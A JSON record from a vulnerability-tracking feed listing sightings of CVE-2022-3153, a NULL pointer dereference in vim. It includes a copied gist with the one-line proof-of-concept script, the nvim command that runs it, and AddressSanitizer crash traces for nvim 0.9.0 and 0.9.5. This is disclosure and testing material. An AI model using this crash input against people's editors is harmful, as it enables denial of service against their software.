{"vulnerability": "CVE-2022-3153", "sightings": [{"uuid": "a3d8b66f-2294-4c0c-9539-0d95a7e83b06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3153", "type": "seen", "source": "https://t.me/cibsecurity/49463", "content": "\u203c CVE-2022-3153 \u203c\n\nNULL Pointer Dereference in GitHub repository vim/vim prior to 9.0.0403.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-09-08T18:15:18.000000Z"}, {"uuid": "c4ce201a-46c6-4a7a-ad7e-a584765ba68c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3153", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/a5a3a792bb7bf9da0902db32f13330a6", "content": "Command:\n./nvim-0.9.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: call assert_fails('string',[{'0':0,'':''}])\n\nline 1: string\n\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153/CVE-2022-3153:\nline    1:\nE492: Not an editor command: string\nE731: using Dictionary as a StringAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==49252==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000047b9a0 bp 0x7ffd0dea31d0 sp 0x7ffd0dea2970 T0)\n==49252==The signal is caused by a READ memory access.\n==49252==Hint: address points to the zero page.\n    #0 0x47b9a0 in strncmp (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.0-ASAN+0x47b9a0)\n    #1 0xeac29f in vim_regcomp /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:2315:7\n    #2 0x835b10 in pattern_match /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2150:22\n    #3 0x10f1ce3 in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:544:12\n    #4 0x8b5318 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:242:3\n    #5 0x9461d8 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1617:15\n    #6 0x9446c5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #7 0x960e93 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3072:9\n    #8 0x9e550c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #9 0x9d324f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #10 0x9c8c6e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #11 0xf408a1 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2159:5\n    #12 0xf3d6c4 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1707:14\n    #13 0xf3d420 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1715:3\n    #14 0x9e550c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #15 0x9d324f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #16 0x9c8c6e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #17 0x9cc303 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #18 0x51f8d4 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1894:5\n    #19 0x512acc in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:579:5\n    #20 0x7febe497a082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #21 0x467fad in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.0-ASAN+0x467fad)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.0-ASAN+0x47b9a0) in strncmp\n==49252==ABORTING\n\n\nCommand:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: call assert_fails('string',[{'0':0,'':''}])\n\nline 1: string\n\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3153/CVE-2022-3153:\nline    1:\nE492: Not an editor command: string\nE731: using Dictionary as a StringAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==49691==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000047b960 bp 0x7ffc397459a0 sp 0x7ffc39745140 T0)\n==49691==The signal is caused by a READ memory access.\n==49691==Hint: address points to the zero page.\n    #0 0x47b960 in strncmp (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x47b960)\n    #1 0x9a29c0 in vim_regcomp /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:2325:7\n    #2 0x689fe0 in pattern_match /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2149:22\n    #3 0xab7485 in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:541:12\n    #4 0x6c4da2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:242:3\n    #5 0x705869 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1622:15\n    #6 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #7 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #8 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #9 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #10 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #11 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #12 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #13 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #14 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #15 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #16 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #17 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #18 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #19 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #20 0x7f5c1a6d0082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #21 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x47b960) in strncmp\n==49691==ABORTING", "creation_timestamp": "2026-09-20T09:33:51.358282Z"}]}